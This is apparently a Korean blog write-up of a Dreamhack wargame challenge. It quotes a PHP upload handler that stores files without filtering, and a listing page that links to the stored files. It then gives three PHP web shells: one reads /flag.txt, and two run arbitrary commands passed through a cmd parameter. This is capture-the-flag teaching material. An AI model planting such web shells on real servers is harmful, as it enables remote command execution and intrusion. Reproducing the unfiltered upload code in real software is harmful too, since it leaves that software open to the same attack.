security/웹해킹

[Dreamhack Wargame] Image-storage + php 웹쉘 업로드

민사민서 2023. 6. 30. 16:14

문제 분석

upload.php : 필터링 없이 /uploads 폴더에 파일 업로드 가능

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 업로드한 파일 존재여부 확인
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"]; // 파일 name="file"
      $error = $file["error"]; // 0이면 성공
      $name = $file["name"]; // 사용자 시스템에 있을 때 파일 이름
      $tmp_name = $file["tmp_name"]; // 웹서버에 임시로 저장된 파일 위치
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          // 필터링 없이 업로드 가능하다
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

list.php: 업로드한 파일들 나열, <a href="">로 접근 가능

    <?php
        $directory = './uploads/';
        // ./uploads/ 디렉터리 내 파일들 스캔 후 .. . index.html 제외하고 $scanned_directory에 저장
        $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
        foreach ($scanned_directory as $key => $value) {
            // 업로드한 파일 실행 가능
            echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
        }
    ?>

exploit

웹쉘 업로드 후 실행하면 된다

<?php
    system("cat /flag.txt", $result);
    echo $result;
?>
<?php
    system($_GET['cmd']);
?>

// 단 ?cmd=cat /flag.txt 이런 식으로 argument 건네주어야 함

<?php
    echo 'Enter a Command:<br>';
    echo '<form action="">';
    echo '<input type=text name="cmd">';
    echo '<input type="submit">';
    echo '</form>';					

    if(isset($_GET['cmd'])){
        system($_GET['cmd']);
    }
?>